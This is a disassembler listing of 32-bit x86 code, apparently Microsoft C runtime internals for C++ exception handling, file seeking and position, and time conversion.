loc_421EA6: ; CODE XREF: sub_421DB1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBA04, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB9FC
mov [ebp+var_1C], ecx
mov ecx, dword_4DBA00
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB9FC, edi
mov ecx, [ebp+arg_8]
mov dword_4DBA00, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E0o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278E4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278D8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB9FC, eax
mov eax, [ebp-20h]
mov dword_4DBA00, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBA08
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:0042791Co
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427910o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427920
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43CFA4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427930o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:00427934o
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427928o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DCFE8
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DCFE4
nop
call near ptr 2690000h
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43D46C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43D388
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43D38C, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43D390
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DCDA0
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB958, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 27A0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
nop
call near ptr 26B0857h
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DCCA0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB958, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
